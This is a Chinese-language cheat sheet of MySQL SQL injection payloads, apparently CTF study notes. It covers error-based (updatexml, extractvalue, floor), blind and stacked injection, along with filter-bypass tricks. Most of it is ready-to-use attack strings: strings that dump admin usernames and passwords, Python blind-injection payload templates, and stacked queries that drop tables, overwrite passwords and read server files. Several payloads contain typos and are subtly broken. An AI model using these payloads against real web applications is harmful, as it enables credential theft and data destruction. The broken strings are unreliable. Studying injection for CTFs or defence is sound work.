报错注入语句整理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
floor 报错:and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a); 

extractvalue 报错:and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

updatexml 报错: and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 1,1)),1))

name_const 报错:and exists(selectfrom (selectfrom(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

join 报错:select * from(select * from mysql.user ajoin mysql.user b)c;

exp 报错:and exp(~(select * from (select user ())a));

GeometryCollection 报错:and GeometryCollection(()select *from(select user () )a)b );

polygon 报错:and polygon (()select * from(select user ())a)b );

multipoint 报错:and multipoint (()select * from(select user() )a)b );

updatexml 报错注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
爆数据库版本信息:?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

链接用户:?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

链接数据库:?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

爆库:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆表:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)

爆字段内容:?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

1. Insert构造报错注入语句

源码中的注入点在$uagent中

1
2
$uagent = $_SERVER['HTTP_USER_AGENT'];
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

最开始想构造如下结构的sql语句来进行报错注入

1
text','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#

构造后的sql语句如下

1
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('text','127.0.0.1','admin') and updatexml(1,concat(0x7e,(database()),0x7e),1)#

后来发现该语句错误,尝试后发现Insert后面是没办法再跟一条AND语句的

于是正确的注入姿势应该如下:

1
text' and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1

上面的语句才是正确的

2. --+和#注释问题

SQL注入注释符(#、-- 、/**/)使用条件及其他注释方式的探索

这个链接讲的挺详细

但是我在POST注入中使用--+, -- , 的注释方式时,注入是不起作用的,只用使用#注释才可以,还不知道为什么。。。

GET注释注意要把#注释给url编码一下(%23)

3. 双输入的注入

对于如下双输入的注入

1
select * from user where name = 'input 1' and pass = 'input 2'

如果只过滤了单引号但没有考虑 "\" ,那么我们便可以通过转义语句中的第二个单引号,使得第一个单引号和第三个单引号闭合,从而让攻击语句逃逸:

1
select * from users where name = '\' and pass = ' union select xxx #'

4. 一些函数

addslashes()

在预定义的字符前面加上反斜杠

  • 单引号 (‘)
  • 双引号 (“)
  • 反斜杠 (\)
  • NULL
    1
    2
    3
    $str = "my name's zzz";
    echo addslashes($str);
    // 输出:my name\'s zzz

加入这个函数并不会改变原有的 $str ,当读取出来的时候,内容中并没有 “\“

addslashes() 只在POSTcookieGET数据插入数据库时才会把反斜杠同时插入到数据库,其他情况不会将反斜杠插入到数据库

在有些 PHP.ini 中,若打开了 magic_quotes_gpc指令,那就不在需要使用 addslashes() ,否则会造成二次转义

mysql_escape_string()

1
2
3
$str = "aaa's bbb";
mysql_escape_string($str);
//输出:aaa\'s bbb

PHP5.3中就已经弃用该函数

mysql_real_escape_string()

转义SQL语句中使用的字符串中的特殊字符

  • \x00
  • \n
  • \r
  • \
  • \x1a
1
$str = mysql_real_escaoe_string($str)

5. 注入绕过

过滤空格

  • /**/
  • %0a - 回车
  • %09

过滤等号

  • like
  • regexp

过滤 where

  • having

过滤引号

使用十六进制绕过

过滤注释(特殊场景

在过滤注释(和空格)且返回字段值限制条数的场景下,如果知道表字段名,可以构造类似下面的语句来正则匹配 flag

1
id=0'||(password)regexp'flag

过滤数字 0-9

可以考虑使用 true 来拼接出数字,然后再使用 char() 函数转换成字符,如字符 c 可以构造成 'c'=char(concat(true+true+true+true+true+true+true+true+true,true+true+true+true+true+true+true+true+true));
或者 'c'=char(true+true+...) (99个true)

过滤 ascii()

  • ascii() : 返回字符串 str 的第一个字符的 ASCII 码值。如 ASCII('A') 返回 65
  • ord() : 返回的是字符的 Unicode 码点,与 ascii() 函数相似。如 ORD('A') 也返回 65
  • hex() : 将字符串或整数转换为十六进制

这几个函数在盲注中经常用到,可以通过 python 脚本,构造语句进行爆破

1
2
3
4
5
6
# 爆数据库例子
payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,str)
# 爆表名例子
payload = "admin'and ((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,str)
# 爆字段名例子
payload = "admin'and ((substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}'))#".format(i,str)

过滤 substr()

  • substr(str, pos, len) : 从字符串 str 的第 pos 个字符开始,截取 len 个字符
  • left(str, len) : 从字符串的左侧开始截取 len 长度的子字符串
  • right(str, len) : 从字符串的右侧开始截取 len 长度的子字符串
  • lpad(str, len, padstr) : 返回字符串 str,len 小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串 padstr 直到达到 len 字符长度。在注入中,lpad(str, len, '') ,令第三个参数为空即可与
    left(str, len) 函数作用相同
  • rpad(str, len, padstr) : 同理

left()right() 函数是对字符串不一致的第一字符进行比较,即 ab=abab<ac

6. 堆叠注入

我们在 ; 结束一个sql语句后继续构造下一条语句,造成堆叠注入,堆叠注入可以执行的是任意的语句。

在读取数据时,建议使用 union(联合)注入。同时在使用堆叠注入之前,是需要知道一些数据库相关信息的,例如表名,列名等信息

1
2
3
4
5
6
7
8
9
10
username=1;update`ctfshow_user`set`pass`=1&password=1
#
1;show databases;
#
username=1;show tables;
#
1;show columns from flag;
0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert into ctfshow_user(`username`,`pass`) values(1,1)
#
select * from users where id=1;select load_file('c:/tmpupbbn.php');

7. 数据库、表名注意事项

如果数据库、表名为数字的话,则要加反引号符号

1
show columns from `1919810931114514`;

8. 布尔型判断

在mysql里面,在用作布尔型判断时,以数字开头的字符串会被当做整型数

比如 password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于 password=‘xxx’ or 1 ,也就相当于 password=‘xxx’ or true,所以返回值就是 true